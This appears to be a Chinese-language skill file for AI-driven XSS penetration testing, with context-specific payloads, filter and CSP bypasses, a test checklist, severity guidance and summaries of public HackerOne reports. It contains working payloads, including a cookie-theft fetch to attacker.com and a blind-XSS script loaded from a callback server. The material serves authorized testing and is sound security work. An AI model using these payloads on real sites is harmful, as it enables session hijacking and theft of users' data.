yhy0 XSS Penetration Testing Patterns
当对 Web 应用进行 XSS 渗透测试时加载此 Skill。覆盖 Stored、Reflected、DOM-based XSS 的攻击手法。
Attack Surface Discovery
高风险输入点：
- 搜索框、评论/留言功能、用户资料编辑（显示名、简介）
- URL 参数直接反射到页面（
?message=,?error=,?callback=） - 富文本编辑器、Markdown 渲染器
- 文件上传（SVG、HTML 文件）
- API 响应被前端渲染（JSON 中的 HTML 字段）
- 第三方集成回调（OAuth redirect_uri、webhook）
DOM-based XSS 入口：
location.hash、location.search被document.write()或innerHTML使用postMessage处理器缺少来源验证- 客户端模板引擎（AngularJS
{{ }}、Vuev-html）
识别信号：
- 输入值在响应 HTML 中原样出现（无编码）
Content-Type: text/html的 API 响应- 缺少
Content-Security-Policy头 - 反射参数出现在 HTML 属性、JavaScript 代码块、URL 中
Exploitation Techniques
按上下文构造 Payload：
<!-- HTML 上下文 -->
<img src=x
<svg/onload=alert(1)>
<details open
<!-- 属性上下文 -->
" autofocus="
'
<!-- JavaScript 上下文 -->
</script><script>alert(1)</script>
'-alert(1)-'
'-alert(1)//
<!-- URL 上下文 -->
javascript:alert(1)
data:text/html,<script>alert(1)</script>
Stored XSS 利用链：
- 在用户资料、文章、评论中注入 payload
- 其他用户/管理员访问时触发
- 窃取 session cookie：
fetch('https://attacker.com/steal?c='+document.cookie) - 利用管理员 session 进行后台操作
过滤绕过技巧：
- 大小写混合：
<ScRiPt>alert(1)</ScRiPt> - 事件处理器替代：
onerror,onload,onfocus,ontoggle,onanimationend - 编码绕过：HTML 实体
alert(1)、Unicode\u0061lert(1) - 标签变体：
<svg>,<math>,<details>,<marquee> - 无括号执行：
- Reader Mode / 特殊渲染模式注入（如浏览器 Reader Mode 中的 nonce 利用）
- Mutation XSS (mXSS)：利用浏览器 DOM 解析与序列化的差异，payload 在 innerHTML 赋值后变异为可执行脚本
- Markdown 注入：
[link](javascript:alert(1))、![img](x>
Blind XSS：
<!-- 注入到支持工单、反馈表单、日志查看器等后台渲染的位置 -->
"><script src=https://your-callback-server/hook.js></script>
<img src=x
- 使用 XSS Hunter 或自建 callback 服务器检测触发
- 常见注入点：User-Agent、Referer、表单字段在管理后台被渲染
CSP 绕过：
script-src 'unsafe-inline'：直接执行内联脚本- JSONP 端点：
<script src="trusted.com/jsonp?callback=alert"> - Base URI 注入：
<base href="https://attacker.com/"> script-src白名单中的 CDN 利用
Detection Checklist
- 在所有输入字段中注入基础探测字符串
<script>alert(1)</script>并检查响应 - 检查 URL 参数是否直接反射到 HTML（搜索功能、错误页面、回调参数）
- 测试存储型输入点（用户名、评论、文件名、profile 字段）
- 检查
Content-Security-Policy响应头是否存在及其强度 - 使用 Burp Suite Intruder 批量测试参数反射
- 检查 DOM 操作（
innerHTML、document.write、eval）是否使用了用户可控数据 - 测试文件上传是否接受 SVG/HTML 并直接渲染
- 尝试绕过已有过滤（编码、大小写、标签变体、事件处理器替代）
- 验证 XSS 是否可窃取 cookie（检查
HttpOnly标志） - 评估 Stored XSS 是否可影响管理员用户
Impact Assessment
漏洞利用可达到的效果：
- Session 劫持：窃取 cookie 实现账户接管
- 钓鱼攻击：注入虚假登录表单窃取凭证
- 恶意操作：以受害者身份执行敏感操作（转账、修改设置）
- 数据窃取：读取页面内容、API 令牌、个人信息
- 蠕虫传播：Stored XSS 可构造自传播蠕虫
严重度判断：
- Critical：Stored XSS 影响所有用户/管理员、可窃取 session、无需用户交互
- High：Reflected XSS 在高价值页面、可绕过 CSP 执行任意 JS
- Medium：Self-XSS、需要特定用户交互、CSP 限制了利用范围
Real-World Cases
以下案例来自 HackerOne 公开披露的真实漏洞报告，展示了该类漏洞在实际目标中的表现形式。
Case 1: Brave Software — New XSS vector in ReaderMode with %READER-TITLE-NONCE%
- 严重度: Critical | CWE: Cross-site Scripting (XSS) - Generic
- 摘要: A new XSS vulnerability was discovered in Brave iOS 1.31.1 and higher, which allowed attackers to execute malicious scripts on ReaderMode pages. The vulnerability was caused by a relaxation of the CSP...
- 报告: https://hackerone.com/reports/1436142
Case 2: Khan Academy — XSS on using the legacy "Graphie To Png" API
- 严重度: Critical | CWE: Cross-site Scripting (XSS) - DOM
- 摘要: The legacy "Graphie To Png" API was vulnerable to exploitation. An attacker could upload malicious graphies that included harmful SVG and JSON data. The SVG contained an
onloadattribute that execut... - 报告: https://hackerone.com/reports/2846011
Case 3: LinkedIn — Stored XSS on LinkedIn App via iframe tag in Article
- 严重度: Critical | CWE: Cross-site Scripting (XSS) - Stored
- 摘要: A stored XSS vulnerability was reported in the LinkedIn Article feature, where a malicious JavaScript payload could be embedded in the URL field of an iframe. When such an article was published and ac...
- 报告: https://hackerone.com/reports/2212950
Case 4: MTN Group — Reflected XSS in https://nin.mtn.ng/nin/success?message=lol&nin=
- 严重度: Critical | CWE: Cross-site Scripting (XSS) - Reflected
- 摘要: The reflected XSS vulnerability was found in the 'nin' parameter of the 'https://nin.mtn.ng/nin/success' endpoint. Successful exploitation allowed an attacker to execute arbitrary JavaScript in the vi...
- 报告: https://hackerone.com/reports/2039384
Case 5: Rocket.Chat — XSS via /api/v1/chat.postMessage
- 严重度: Critical | CWE: Cross-site Scripting (XSS) - Stored
- 摘要: The victim could craft a custom message using the REST API that, once seen by the observer, executed arbitrary code in the context of the client user. The vulnerability was present in the attachment f...
- 报告: https://hackerone.com/reports/219957
Case 6: 8x8 — Stored xss at https://█.8x8.com/api/█/ID
- 严重度: High | CWE: Cross-site Scripting (XSS) - Stored
- 摘要: A vulnerability was reported where stored data could be modified to introduce malicious JavaScript that would execute in a victim's browser when the data was retrieved. The issue was isolated to a ran...
- 报告: https://hackerone.com/reports/2078490
Case 7: AWS VDP — XSS on Amazon Aquisition: elemental
- 严重度: High | CWE: Cross-site Scripting (XSS) - Reflected
- 摘要: The XSS vulnerability on Amazon's acquisition of Elemental was identified and addressed. The summary provided a brief overview of the issue.
- 报告: https://hackerone.com/reports/3205667
Case 8: Acronis — Potential XSS Vulnerability in Acronis Login Callback URL
- 严重度: High | CWE: Cross-site Scripting (XSS) - Generic
- 摘要: The Acronis login callback URL was found to be vulnerable to cross-site scripting (XSS) attacks. The redirectUrl parameter in the URL was not properly sanitized, allowing an attacker to inject arbitra...
- 报告: https://hackerone.com/reports/2611305
Case 9: Acronis — Blind XSS on admin.acronis.com via delete account form on account.acronis.com
- 严重度: High | CWE: Cross-site Scripting (XSS) - Stored
- 摘要: Blind XSS vulnerability was discovered on admin.acronis.com. The vulnerability could be triggered by sending a payload during the account deletion process on account.acronis.com.
- 报告: https://hackerone.com/reports/666040
Case 10: Autodesk — Stored XSS in AREA tutorials
- 严重度: High | CWE: Cross-site Scripting (XSS) - Stored
- 摘要: A stored cross-site scripting (XSS) vulnerability was discovered in the AREA tutorials feature. The vulnerability could have allowed an attacker to inject malicious JavaScript code when publishing a t...
- 报告: https://hackerone.com/reports/3008066